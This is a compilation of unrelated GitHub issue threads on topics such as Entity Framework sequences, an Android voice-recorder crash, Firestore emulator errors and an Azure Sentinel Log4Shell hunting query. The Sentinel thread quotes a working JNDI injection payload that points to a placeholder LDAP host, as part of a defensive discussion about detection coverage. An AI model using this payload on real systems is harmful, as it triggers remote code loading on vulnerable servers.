Sequence Default Value & Configure Identity As Default

I found this, noting the decision to default auto-incrementing fields to sequences: https://github.com/aspnet/EntityFramework/wiki/Entity-Framework-Design-Meeting-Notes---July-31,-2014#sql-server-value-Generation

Why is the default sequence increment set to 10 when a migration is added, and not 1?

Is there a way to specify the sequence cache value? The default 50 is likely fine 90% of the time, but is the cache value something that will be supported, or is it considered too low level for schema design?

Is there a way to configure a DbContext to force the "migration add" command to always use Identity instead of Sequence for auto-incrementing PK columns?

@brent-russell we actually reverted this decision and will use identity as the default. But to answer your questions.

The discussion isn't about using a default value on a column to access the sequence during insertion of records, but pulling blocks of values back from the database and assigning them to objects as they are added to the context (HiLo pattern).

Not currently. Easiest way would be to use the Sql(string) method within your migration to run an ALTER SEQUENCE command after the sequence is created.

Yes. Well we actually do that by default now. But the API was modelBuilder.ForSqlServer().UseIdentity().

Thanks for the response. That makes sense. And if the majority of insertions are happening through EF, the cache value becomes less relevant.
Are the "low" sequence values being cached somehow so unused values will be used on the next transaction/batch, or do new batches get a new "high" increment?

@brent-russell they are cached and used by any additions within the AppDomain.


Crash on Lineageos 14.1

After recording, the plugin is crashing ...
05-17 16:48:10.795 E/MPEG4Writer(  267): The number of recorded samples is 0
05-17 16:48:10.795 W/MPEG4Writer(  267): 0-duration samples found: 1
05-17 16:48:10.795 W/MPEG4Writer(  267): 0-duration samples found: 1
05-17 16:48:10.795 I/MPEG4Writer(  267): Received total/0-length (1/0) buffers and encoded 0 frames. - Audio
05-17 16:48:10.795 I/MPEG4Writer(  267): Audio track drift time: 0 us
05-17 16:48:10.809 E/QC_AACENC(  267): component_deinit:COMPONENT DEINIT...
05-17 16:48:10.809 E/QC_AACENC(  267): AAC Object getting destroyed comp-deinit=1
05-17 16:48:10.809 E/QC_AACENC(  267): OMX AAC component destroyed
05-17 16:48:10.811 I/MediaCodecSource(  267): encoder (audio) stopped
05-17 16:48:10.814 D/audio_hw_primary(  259): in_standby: enter: stream (0xb614fa80) usecase(7: audio-record)
05-17 16:48:10.843 D/audio_hw_primary(  259): in_set_parameters: enter: kvpairs=routing=0
05-17 16:48:10.846 D/MPEG4Writer(  267): Audio track source stopped
05-17 16:48:10.846 D/MPEG4Writer(  267): Audio track stopped
05-17 16:48:10.846 D/MPEG4Writer(  267): Stopping writer thread
05-17 16:48:10.847 D/MPEG4Writer(  267): 0 chunks are written in the last batch
05-17 16:48:10.847 D/MPEG4Writer(  267): Writer thread stopped
05-17 16:48:10.847 D/MPEG4Writer(  267): Audio track stopping
05-17 16:48:10.851 E/MediaRecorder( 6114): stop failed: -1007
05-17 16:48:10.852 D/AndroidRuntime( 6114): Shutting down VM
05-17 16:48:10.858 E/AndroidRuntime( 6114): FATAL EXCEPTION: main
05-17 16:48:10.858 E/AndroidRuntime( 6114): Process: eu.siacs.conversations.voicerecorder, PID: 6114
05-17 16:48:10.858 E/AndroidRuntime( 6114): java.lang.RuntimeException: stop failed.
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at android.media.MediaRecorder.stop(Native Method)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at eu.siacs.conversations.voicerecorder.ui.RecordingActivity.stopRecording(RecordingActivity.java:111)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at eu.siacs.conversations.voicerecorder.ui.RecordingActivity.onClick(RecordingActivity.java:155)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at android.view.View.performClick(View.java:5637)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at android.view.View$PerformClick.run(View.java:22433)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at android.os.Handler.handleCallback(Handler.java:751)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at android.os.Handler.dispatchMessage(Handler.java:95)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at android.os.Looper.loop(Looper.java:154)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at android.app.ActivityThread.main(ActivityThread.java:6128)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at java.lang.reflect.Method.invoke(Native Method)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:889)
05-17 16:48:10.858 E/AndroidRuntime( 6114):     at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:779)
05-17 16:48:10.866 W/ActivityManager(  553):   Force finishing activity eu.siacs.conversations.voicerecorder/.ui.RecordingActivity
05-17 16:48:10.906 W/ActivityManager(  553):   Force finishing activity eu.siacs.conversations/.ui.ConversationActivity
05-17 16:48:10.973 W/InputMethodManagerService(  553): Focus gain on non-focused client com.android.internal.view.IInputMethodClient$Stub$Proxy@8d25138 (uid=10080 pid=2916)

I also can't use voicerecorder. When cancel or share is pressed, the plugin crashes.
OS: Lineage 14.1 / Android 7.1.2

It seems that the generate files in the Voice Recorder folder always have a size of 3227 bytes and the same hash-value, so we are not recording. Do we miss a library or some other dependency? There is also a warning in in the logs about the classloader referencing a missing directory /data/app/eu.siacs..../lib/arm, but no idea if this is significant.

The error persists with more up to date versions of LineageOS. Has anybody an idea how to debug this or get more information about the error?

On my device (Oneplus2 with recent Lineage 14.1 nightly), there seems to be an issue with codec selection, earlier in the log, at the start of the recoding as opposed to the end:
10-10 15:33:04.160  2061 17733 I MediaCodecSource: MediaCodecSource (audio) starting
10-10 15:33:04.161  2061 17738 E QC_AACENC: ioctl AUDIO_SET_AAC_CONFIG failed, 				errno[22]
10-10 15:33:04.162  2061 17738 E QC_AACENC: ioctl AUDIO_START failed, errno[22]
10-10 15:33:04.162  2061 17736 E ACodec  : [OMX.qcom.audio.encoder.aac] ERROR(0x8000100a)
10-10 15:33:04.162  2061 17736 E ACodec  : signalError(omxError 0x8000100a, internalError -2147483648)
10-10 15:33:04.162  2061 17736 E MediaCodec: Codec reported err 0x8000100a, actionCode 0, while in state 6
10-10 15:33:04.164  2053 17735 D audio_hw_primary: in_set_parameters: enter: kvpairs=input_source=1;routing=-2147483644
10-10 15:33:04.165  2061 17733 I MediaCodecSource: MediaCodecSource (audio) started
10-10 15:33:04.165  2061 17733 E MediaCodecSource: Encoder (audio) reported error : 0x8000100a
10-10 15:33:04.166  2053 17735 D audio_hw_primary: start_input_stream: enter: stream(0xf3850740)usecase(16: audio-record)
10-10 15:33:04.166  2061 17743 E MPEG4Writer: The number of recorded samples is 0
[...]

10-10 15:33:04.168 17717 17717 D Voice Recorder: started recording to /storage/emulated/0/Voice Recorder/RECORDING_20171010_153304129.m4a

I suppose AAC is not available; I would expect the android API to return an error somewhere, but it appears neither MediaRecorder.prepare() nor .start() raise an exception, as evidenced by that "started recording" log line.
This assumes the play store version is the same as current master.

@luk1337 found out that changing the codec to AAC seems to do the trick: https://gist.github.com/luk1337/0760faaa37dadbbc8ed371cf374be682

Thanks zuglufttier. Now voice recording does actually work again.

Don't thank me! Thank the developers ;)
So this is fixed in recent nightlies, issue can be closed.

Oh, sorry, I was wrong here... I mixed things a bit up ;) On LineageOS you don't need this plugin anymore because now you can use the default recorder app that comes with LOS and that was fixed in the last nightlies.

I had this problem on RR and SlimRoms. On RR, which is based on LOS, there is a recorder app who can be used, but audio files get much bigger than with this app. I don't consider it an appropriate alternative, but maybe LOS recorder is different.

@librejoker
I use LOS and the same here. The recorder does not have an overlay-function like the plugin and you have to separately record and then go through the share-menu to get the message out. It's certainly a workaround for the time being but the plugin is much easier and faster to exchange voice messages.

Hello, I use LOS 14.1 on my onePlus and i'm in the same situation. How do I get a developer to update this code because I use this plugin every day and it's really annoying:)
Thank you in advance.
gudbes

Someone should report this to LineageOS.

Thank you for your answer, I'll see how I can explain my problem to them.
Anyway bravo for your work on "conversations", I'm a fan of it:)

I need to compile the application with the patch of the following link:
but I don't know how to do it I looked on the Internet but I can't find a tutorial to explain how to do it. With you a link to a site to have a little more explanation

@gudbes
You need to install Android Studio [1] and choose "Check out project from version control" -> Git. copy-paste [2]. You will also need to install SDK 22 and SDK build tools 22.0.1 . Don't forget to tick "Show Package Details" to see older build tools.
Then you can edit the code and finally build. Build -> Build APK.
[1] https://developer.android.com/studio/index.html
[2] https://github.com/siacs/VoiceRecorder.git
I could also also provide a download link to my compiled APK, but of course installing from unknown sources is not recommended. If you want to take the risk let me know.

@librejoker thank you for the explication. I'll try it myself for curiosity and if I can't do it, I'll tell you again:)
thanks again

@librejoker , I installed android studio (SDK+DSK tools) but i have a question. With the file of luk1337, i must remplace the old code by 👍
mRecorder = new MediaRecorder();
 		mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
 		mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
-		if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
-			mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.HE_AAC);
-			mRecorder.setAudioEncodingBitRate(48000);
-		} else {
-			mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-			mRecorder.setAudioEncodingBitRate(64000);
-		}
+		mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+		mRecorder.setAudioEncodingBitRate(64000);
 		mRecorder.setAudioSamplingRate(16000);
 		mOutputFile = getOutputFile();
mOutputFile.getParentFile().mkdirs();

or the file is an executable ?
thank you
gudbes

I'm posting the link of APK application patched for use on Android 7 (tested on version 7.1).
Important: Please read the "READ_ME" file contained in this link.
https://drive.google.com/drive/folders/1WS_D3uBSon3hDrXfdtvp7gdrpg6lxeDj?usp=sharing
gudbes

So you did come up with the solution yourself? Great. Is it working? I found playing messages inline isn't, but I really don't care. It's just great to have it working at all.
Just read your readme file. Maybe you should provide a md5/sha256 checksum so people can verify your file wasn't altered by anyone else.

In case this isn't clear. The Voice Recorder is working on Android 8 (stock) and Android 7.1 (some outdated version of LineageOS running on my Nexus 4). So this is either a platform specific bug or a regression in newer versions of LineageOS. You should report this to LineageOS.

@librejoker: yes the app works under lineage Bones for me anyway but I wait for the returns if necessary. On your advice, I'll try to add the checksum.
iNPUTmice : Sorry, I didn't think the bug was related to lineage only. I went to the lineage site to explain the bug but I didn't quite understand the procedure so I went to the IRC channel where I asked for help by indicating the link of the post to see if the debug logs requested were those of the first post but I didn't get an answer. I was just told that to solve the problem of compiling the application with the Luk1334 patch and thanks to @jo, I decided to launch myself and propose a patch for the next ones. I know that my solution is not clean and I explain it clearly in my readme.
By hoping that my sharing is beneficial to others and not the other way around. My thoughts are good and I want to share.

@gudbes Thank you very much for doing this. I now have a 100% working plugin and don't have to wait for eternity that some reluctant dev will fix this.

@Failure404
With pleasure 🙂

After the last update of Conversation the fix doesn't work anynore.

The voice recorder is now integrated into Conversations: https://github.com/siacs/Conversations/releases/tag/2.2.0
Please update and remove the old plugin!

Closing in favor of https://github.com/siacs/Conversations/issues/3021


Improved description on Hunting Query for Malicious Connection to LDAP port for CVE-2021-44228 vulnerability

Describe the bug
Regarding: https://github.com/Azure/Azure-Sentinel/blob/master/Hunting Queries/MultipleDataSources/NetworkConnectionldap_log4j.yaml.
An attacker can store a JNDI Reference using a remote codebase that will be instantiated during LDAP decoding of the remote location over any port, not just 389 and 1389; this is supported by default on the affected log4j versions. This lack is not clearly addressed in the description of the hunting query, although this should get more attention for CVE-2021-44228 is actively being exploited over non-default LDAP-ports.

@aprakash13 - please have a look at this request to update.

Thanks a bunch @sergevanhaag. This is helpful.
Have added the suggested description to the hunting query via the PR  https://github.com/Azure/Azure-Sentinel/pull/3813
The better strategy for the query might have been to look for protocol vs the ports. However, it doesn't seem like a lot of the data sources contain that information.

Hi @aprakash13,
Thank you for your reply and work. I definitely agree that (where this is possible!) protocol identification would be the way to go.
Solely focusing on the default LDAP ports offers extremely limited monitoring capabilities imo. According to Cloudflare:

The second most popular request contained this:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua

Here LDAP is used over port 5555, and that's the second most popular payload according to CloudFlare... Thanks for the added clarity in the description. I've added a few comments.


v1.3.0 planning

Planning to release v1.3.0 after:

updating containerd to v1.7 GA (ETA: this week)
updating runc https://github.com/opencontainers/runc/issues/3789
merging https://github.com/containerd/nerdctl/pull/2035

cc @containerd/nerdctl-maintainers

LGTM, MAINTAINERS_GUIDE.md will be welcomed, to rotate next releases.

LGTM, MAINTAINERS_GUIDE.md will be welcomed, to rotate next releases.

If we plan to have such a doc and it will only have a RELEASE section in it in the near future, maybe we can start by having a RELEASE.md to document the process?
MAINTAINERS_GUIDE.md seems too maintainer-specific and I feel "release" can be for anyone who is interested in learning about the process, although only maintainers can do the actual release.

If we plan to have such a doc and it will only have a RELEASE section in it in the near future, maybe we can start by having a RELEASE.md to document the process?

That doesn't seem to consistent with https://github.com/containerd/containerd/blob/main/RELEASES.md .
We can have a link to MAINTAINERS_GUIDE.md from RELEASES.md though.

https://github.com/containerd/nerdctl/pull/2089

@Zheaoli I can make it after your LGTM

@fahedouch Thanks for releasing v1.3.0-beta.0.
I think we can release v1.3.0 GA right after bumping up dependencies such as runc.
We may include #2136 too (not necessary)

@fahedouch Do you want to open the PR for bumping up the deps?

dependabot doesn't bump up the deps like ARG RUNC_VERSION=v1.1.4 in Dockerfile

And dependabot can be manually triggered:
https://github.com/containerd/nerdctl/network/updates/638455677

I am planning to release v1.3.0 GA in the next 24 hours


Decode state sync data

changes
Store decoded state sync data in subgraph.
Here's a descriptive approach on How to use Decoder ?

Also this looks exactly like the snippet you shared last night. What's changed for it to work?

Nothing has changed. Previously input being passed in wrong form.

Comments for the subgraph schema would be useful and appreciated. SyncType and it's expected values. Also for depositor_or_rootToken and depositedToken_or_childToken please.

syncType can possibly take {0, 1}, in case of valid data, which is being passed for decoding to it. -1, 2 denotes it's input data can't be decoded.
syncType : 0

As it's DEPOSIT op, it will have three fields of interest
depositor : address performing deposit
depositedToken: root token being deposited
data: deposit data, this can also be decoded.

How ?
Check here.

syncType: 1

This is for token mapping
rootToken: Root token address of token mapping
childToken: Child token address of token mapping
data: empty byte array

Nomenclature convention followed to generalise 👆 two possibilities.

If syncType is -1, 2 : client can simply drop it.


Workloads - Can't set the port in Edit as form when creating or editing a workload

Rancher version: master-head (07/01/2020) 001aa0c5f
dashboard-index: latest
Create a new workload, set name, image, type.
Click in the Ports tab.
Add port, set the name and port.
Click Create. If all requirements are met no error is displayed and the workload gets created.
Result:
No port is set in the workload.
Expected:
Port properly set for the workload.
Sample when editing a Daemonset workload, I set the port. Click save but navigating to edit as Form, click Ports tab, the port is not set.

Checking the PUT (when editing a workload ) and POST (when creating) requests the port key in the spec is sent with an empty []
PUT:
...
            "spec": {
                "containers": [{
                    "image": "sangeetha/mytestcontainer",
                    "imagePullPolicy": "Always",
                    "name": "test1",
                    "resources": {},
                    "terminationMessagePath": "/dev/termination-log",
                    "terminationMessagePolicy": "File",
                    "ports": []
                }],
                "dnsPolicy": "ClusterFirst",
                "restartPolicy": "Always",
                "schedulerName": "default-scheduler",
                "securityContext": {},
                "terminationGracePeriodSeconds": 30
            }
...

POST:
...
    "spec": {
        "replicas": 1,
        "template": {
            "spec": {
                "restartPolicy": "Always",
                "containers": [{
                    "name": "test2",
                    "imagePullPolicy": "Always",
                    "image": "sangeetha/mytestcontainer",
                    "ports": []
                }]
            },
            "metadata": {
                "labels": {
                    "workload.user.cattle.io/workloadselector": "deployment-testns1-test2"
                }
            }
        },
        "selector": {
            "matchLabels": {
                "workload.user.cattle.io/workloadselector": "deployment-testns1-test2"
            }
        }
    }
...

Verified on master-head commit id: 9b0dd20b7

Create a deployment with ports enabled.
The ports are set on the deployment.


Mac menubar/tray app?

Would it be possible at this point to create a MacOS menubar/tray app with Toga?

Hey @rucuriousyet,
Toga is still in its early stages.
I hope somebody will correct me if I'm wrong, but at the moment there is no support for a menubar app. If you would like to add such a feature you are more than welcome.

@rucuriousyet Like @Ocupe said, it's not currently possible - but it's definitely on the list of things we want to support.

I'm going to close this as a duplicate of #97 - although the language there is Windows specific (Systray, rather than menubar/tray), the underlying idea is the same - and the Toga approach will be to build a cross-platform abstraction of the underlying idea.


Symbol lookup error while build llvm_mode.

make: Entering directory '/home/runfeng/afl-2.52b/llvm_mode'
[] Checking for working 'llvm-config'...
[] Checking for working 'clang-6.0'...
[] Checking for '../afl-showmap'...
[+] All set and ready to build.
[] Building 32-bit variant of the runtime (-m32)... failed (that's fine)
[*] Testing the CC wrapper and instrumentation output...
unset AFL_USE_ASAN AFL_USE_MSAN AFL_INST_RATIO; AFL_QUIET=1 AFL_PATH=. AFL_CC=clang-6.0 ../afl-clang-fast -O3 -funroll-loops -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH="/usr/local/lib/afl" -DBIN_PATH="/usr/local/bin" -DVERSION="2.52b"  ../test-instr.c -o test-instr
/usr/lib/llvm-6.0/bin/clang: symbol lookup error: ../afl-llvm-pass.so: undefined symbol: _ZN4llvm8LoadInstC1EPNS_4TypeEPNS_5ValueERKNS_5TwineEPNS_11InstructionE
clang: error: unable to execute command: No such file or directory
clang: error: clang frontend command failed due to signal (use -v to see invocation)
clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)
Target: x86_64-pc-linux-gnu
Thread model: posix
InstalledDir: /usr/bin
clang: note: diagnostic msg: PLEASE submit a bug report to http://llvm.org/bugs/ and include the crash backtrace, preprocessed source, and associated run script.
clang: error: unable to execute command: No such file or directory
clang: note: diagnostic msg: Error generating preprocessed source(s).
Makefile:97: recipe for target 'test_build' failed
make: *** [test_build] Error 255
make: Leaving directory '/home/runfeng/afl-2.52b/llvm_mode'

I tried  clang-4.0,clang-6.0,clang-9,clang-10 and llvm-4,6,10 .All those versions causes this same bug.

Try setting LLVM_CONFIG to point to the llvm-config binary that coresponds to the same clang you are using to compile llvm mode.
I'm pretty sure this isn't issue with the code itself and the issue is caused by something incorrect in your set up. I get similar errors myself until I correct things.


Emulator: Transaction rollback fails with Code UNKNOWN

Environment details

OS: Darwin Kernel Version 19.3.0: Thu Jan  9 20:58:23 PST 2020
Node.js version: v10.18.0
npm version: v6.13.7
@google-cloud/firestore version: v3.6.0

Steps to reproduce
import { Firestore } from '@google-cloud/firestore';
import { credentials } from '@grpc/grpc-js';

const firestore = new Firestore({
  port: 8080,
  projectId: 'test',
  servicePath: 'localhost',
  sslCreds: credentials.createInsecure(),
});

const documentReference = firestore.collection('collection').doc();

const run = async () => {
  await documentReference.set({});

  await firestore.runTransaction(async (transaction) => {
     transaction.create(documentReference, {});
  })
};

run().catch(x => console.error(x.message));

You can see 2 UNKNOWN being printed, where a correct error (it worked in a previous version of the library) is 6 ALREADY_EXISTS.

@merlinnot I just took a look at this. The problem is that the "rollback" fails with UNKNOWN in the emulator, which then replaces the existing ALREADY_EXIST error. Prior to 3.6, we did not send a rollback if the commit failed and had access previous error.
Firestore (3.6.0) 2020-03-09T21:58:12.998Z ZfXa3 [Firestore.request]: Sending request: {"database":"projects/test/databases/(default)","writes":[{"update":{"name":"projects/test/databases/(default)/documents/collection/3P5hIPvE1nNFKH0r4VJn","fields":{}},"currentDocument":{"exists":false}}],"transaction":{"type":"Buffer","data":[17,6,0,0,0,0,0,0,0]}}
Firestore (3.6.0) 2020-03-09T21:58:13.005Z ZfXa3 [Firestore.request]: Received error: { Error: 6 ALREADY_EXISTS: entity already exists: app: "dev~test"
path <
  Element {
    type: "collection"
    name: "3P5hIPvE1nNFKH0r4VJn"
  }
>

    at Object.callErrorFromStatus (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/call.js:30:26)
    at Http2CallStream.call.on (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/client.js:96:33)
    at Http2CallStream.emit (events.js:187:15)
    at process.nextTick (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/call-stream.js:100:22)
    at process._tickCallback (internal/process/next_tick.js:61:11)
  code: 6,
  details:
   'entity already exists: app: "dev~test"\npath <\n  Element {\n    type: "collection"\n    name: "3P5hIPvE1nNFKH0r4VJn"\n  }\n>\n',
  metadata:
   Metadata { internalRepr: Map { 'content-type' => [Array] }, options: {} } }
Firestore (3.6.0) 2020-03-09T21:58:13.006Z ZfXa3 [Firestore.runTransaction]: Rolling back transaction after callback error: { Error: 6 ALREADY_EXISTS: entity already exists: app: "dev~test"
path <
  Element {
    type: "collection"
    name: "3P5hIPvE1nNFKH0r4VJn"
  }
>

    at Object.callErrorFromStatus (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/call.js:30:26)
    at Http2CallStream.call.on (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/client.js:96:33)
    at Http2CallStream.emit (events.js:187:15)
    at process.nextTick (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/call-stream.js:100:22)
    at process._tickCallback (internal/process/next_tick.js:61:11)
  code: 6,
  details:
   'entity already exists: app: "dev~test"\npath <\n  Element {\n    type: "collection"\n    name: "3P5hIPvE1nNFKH0r4VJn"\n  }\n>\n',
  metadata:
   Metadata { internalRepr: Map { 'content-type' => [Array] }, options: {} } }
Firestore (3.6.0) 2020-03-09T21:58:13.006Z ZfXa3 [ClientPool.acquire]: Re-using existing client with 100 remaining operations
Firestore (3.6.0) 2020-03-09T21:58:13.006Z ZfXa3 [Firestore.request]: Sending request: {"database":"projects/test/databases/(default)","transaction":{"type":"Buffer","data":[17,6,0,0,0,0,0,0,0]}}
Firestore (3.6.0) 2020-03-09T21:58:13.009Z ZfXa3 [Firestore.request]: Received error: { Error: 2 UNKNOWN:
    at Object.callErrorFromStatus (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/call.js:30:26)
    at Http2CallStream.call.on (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/client.js:96:33)
    at Http2CallStream.emit (events.js:187:15)
    at process.nextTick (/Users/mrschmidt/Desktop/nodetest/node_modules/@grpc/grpc-js/build/src/call-stream.js:100:22)
    at process._tickCallback (internal/process/next_tick.js:61:11)
  code: 2,
  details: '',
  metadata:
   Metadata { internalRepr: Map { 'content-type' => [Array] }, options: {} },
  note:
   'Exception occurred in retry method that was not classified as transient' }
2 UNKNOWN:

I will see what it will take to get this fixed in the emulator. You should not see this issue against our Production servers.

Interesting, thanks for clarification!

@ryanpbrewster Is that something you could look into?

Sadly I no longer work on the Firestore emulator. @yuchenshi @scottcrossen can one of you two dig into this? I imagine the issue is that we're failing to convert some exception somewhere.

This is now tracked internally (b/151108414) and I'll look into it when I have more bandwidth.

@yuchenshi, do you know if you'll be able to pick it up this month? No rush, I'm just wondering if I should just wait or rather work around it somehow.

@merlinnot I took a deep dive into it today and I believe I found a fix in our transaction handling logic in the Firestore Emulator. While we don't share timelines, this is likely to be fixed in the upcoming minor release soon.

Awesome, looking forward to it!

Fixed with new Firestore Emulator release v1.11.3, which is bundled in<EMAIL_ADDRESS>

I can confirm it's fixed, thank you!

<EMAIL_ADDRESS>Firestore Emulator : 1.11.3
2 UNKNOWN:

at callErrorFromStatus (/functions/node_modules/@grpc/grpc-js/build/src/call.js:30:26)
at Http2CallStream.call.on (/functions/node_modules/@grpc/grpc-js/build/src/call.js:79:34)
at Http2CallStream.emit (events.js:187:15)

Still seems to happen. I just updated to latest versions.

Ok, got the reason for the issue. It's not displaying the correct error and instead throwing 2 UNKNOWN.

"3 INVALID_ARGUMENT: inequality filter property and first sort order must be the same: meta.defaultKeyword and name"

It was supposed to throw the above error. When tried with real firestore, it throwed the above message where as when using emulator it failed giving valid information.
Hope this helps and would be great to see a fix in upcoming versions. It took me 4hrs to debug but however was able to find out, phew!

@manwithsteelnerves Hi! What you've described is a separate issue from the transaction rollback mentioned here. Would you mind opening a different issue on GitHub with detailed steps to reproduce? Please also include a code snippet there (e.g. your query) so I can start digging into it on my side.

@yuchenshi  Done!


Attempt at failing FaTE transactions that are blocking this FaTE transaction from the write lock

Closes #2328

@keith-turner - can you take a look at my changes in 1755864 to see if this implementation seems sane. The high level notes are that I modified ZooStore to:

Keep a reference to the thread that is reserving the tx
Added a cancel method to call interrupt on the thread

The calling Thread in most cases should be the Fate.TransactionRunner threads which already handle the Exception and transition the tx to FAILED_IN_PROGRESS and then ultimately unreserves the tx. I also fixed up a test and added FateIT with a test for preemption. Finally I took a stab at determining which FaTE transaction types should preempt.

@keith-turner  - I addressed the issues you raised. Did you happen to look at the FaTE types that are taking advantage of this mechanism?
One thing to note is that if there are T FaTE threads and F FaTE transactions for a table, and F > T, then the preemption for a transaction will only occur when one of the threads starts to process the tx. So, it may not be immediate.

FateIT is relevant to this PR. It failed because ZooKeeperTestingServer failed to start after getting several BindExceptions's.

I wonder if there are servers running taking up ports and not getting shut down properly.

@ctubbsii  - I reran the ITs and FateIT passed this time. Maybe a transient port issue.

In my rerun of the ITs, only one test class failed, ConcurrentDeleteTableIT. I traced it through and it is failing because of this change. In testConcurrentFateOpsWithDelete there is an expectation that the table is deleted at the end of the test, because a delete operation is executed as part of the test. The table is not deleted, because the delete operation is cancelled due to a subsequent merge (or other type) of operation. The right way to handle this is to not cancel certain types of operations in DistributedReadWriteLock.WriteLock.tryLock(), but I don't have access to the FateOperation type at this level. For example, we would want a MERGE to cancel any COMPACTION, but not a DELETE. It does not appear that the FateOperation type is encoded in the data stored in ZK. If we could pass the TableOperation to Utils.getLock() then we could append/prepend the TableOperation to the lockData.

This already seems like it's getting pretty complicated. Is it even safe, in the general case, to fate operations this way? I feel like a human should probably be interactively responsible for cancelling fate operations in order to unblock their preferred one, so they can accept the risks directly.

I think I have found the issue with ConcurrentDeleteTableIT and I think it exposed something  I had not accounted for. I'd like to track it down and fix it and then we can judge whether or not this approach may not be the right one. Maybe a different approach would be to just log the blockers for a FaTE transaction so that the user can take some action. That approach will likely reuse some of the code from this PR.

I'm closing this in favor of #2467


[5.3] Fix OperationQueue scheduling logic to prevent disruption of operation lists

OperationQueue would crash or hang if we force "non-natural" execution order. E.g. when first operation depends on second.
The reason is how we work with internal operation lists in OperationQueue._schedule(). I believe the original intention was to adjust __nextPriorityOperation, but instead we are modifying __nextOperation. This has no sense and leads to crosslinking of the main operation list and corresponding priority operation list. Subsequent scheduling would try to read already finished operation and hang. Also, at this point queue doesn't hold operation object anymore, so trying to read dead object is pretty realistic scenario.
Suggested test case checks scenario described above, and ensures correct operation order as a bonus.
(cherry picked from commit 9f44ed3, original PR #2930)

@swift-ci test

@swift-ci test

@swift-ci test


Odd cluster behavior during clustering

Summary
Weird cluster behaviour when clusters change with an animation on zooming. The cluster icon refreshes, resulting in a flickering shadow, even though the cluster position has not changed.
The shadow flicker is caused by a new cluster appearing on top of the existing one during the animation.
Expected behavior
I would expect the cluster to not animate if there is no position change. This would prevent a shadow flickering.
Observed behavior
When clusters are (re-)clustered, this also affects a cluster that has remained in the same position, causing the shadow to blink.
Screen_recording_20240312_133131ss.webm
Environment details
kotlin = "1.9.0"
mapUtils = "5.0.0"
playServicesMaps = "18.2.0"
Code example
Custom renderer with no additional modifications.
class CustomClusterRenderer(
    private val context: Context,
    map: GoogleMap,
    clusterManager: ClusterManager<MyItem>
) : DefaultClusterRenderer<MyItem>(context, map, clusterManager) {

    private val markerSize = context.resources.getDimensionPixelSize(R.dimen.marker_size)

    override fun onBeforeClusterItemRendered(item: MyItem, markerOptions: MarkerOptions) {
        markerOptions
            .icon(getIcon())
    }

    override fun onClusterItemRendered(clusterItem: MyItem, marker: Marker) {
        marker.run {
            setIcon(getIcon())
        }
    }

    override fun onBeforeClusterRendered(cluster: Cluster<MyItem>, markerOptions: MarkerOptions) {
        markerOptions.icon(getIcon())
    }

    override fun onClusterUpdated(cluster: Cluster<MyItem>, marker: Marker) {
        marker.setIcon(getIcon())
    }

    override fun shouldRenderAsCluster(cluster: Cluster<MyItem?>): Boolean {
        return cluster.size > 1
    }

    private fun getIcon(): BitmapDescriptor {
        val bitmap = BitmapFactory.decodeResource(context.resources, R.drawable.marker1)
            .scale(markerSize, markerSize, false)
        return BitmapDescriptorFactory.fromBitmap(bitmap);
    }
}

If you would like to upvote the priority of this issue, please comment below or react on the original post above with :+1: so we can see what is popular when we triage.
@danijel-vrecic Thank you for opening this issue. 🙏
Please check out these other resources that might help you get to a resolution in the meantime:

Check the issue tracker - bugs and feature requests for Google Maps Platform APIs and SDKs
Open a support case - Get 1:1 support in Cloud Console.
Discord - chat with other developers
StackOverflow - use the google-maps tag

This is an automated message, feel free to ignore.


Gallery channels

Used for #no-context-like channels where only images may be sent

TRY NOT TO MERGE BEFORE #58


CTRL used to mark copy instead of drag

Hi,
I want to add to our app the possiblity to switch from drag-n-drop to drag-n-copy when the CTRL button is clicked. I can easily hook to the clicking on the CTRL but I am not sure how to hook to the CTRL keyup. I basically need to tie the CTRL button being pressed to a true/false flag.
So I am using the action as follows:
            combo: 'ctrl'
            action: 'keydown'
            description: 'Use while dragging to make a copy'
            short_description: 'drag-n-copy'
            callback: =>
                drag.startCopy()
        ,
            combo: 'ctrl'
            action: 'keyup'
            description: 'Use while dragging to make a copy 2'
            short_description: 'drag-n-copy 2'
            callback: =>
                drag.endCopy()

But only the keyup is being picked and the keydown is being ignored. It seems like the second mapping overrides the first.
Any help would be appreciated.
Great lib and many thanx!

Same problem here, did you find a workaround?

nope :-(

I certainly can't see how you would do this without modification of the library. But I wonder if using angular-hotkeys to register this functionality is the best approach? You have presumably got some other code that sets up the drag and drop functionality, so would that not be a more logical place to put additional code that modifies its behaviour? If you're listening for dragStart and dragEnd events you could easily add to their event handlers code to start and stop listening for keyup and keydown events and check for the ctrl key.

Found a workaround, it appears that if you declare the up event before the down, it works. See https://github.com/chieffancypants/angular-hotkeys/issues/150


Remove SecurityKey from signature validation delegate's result

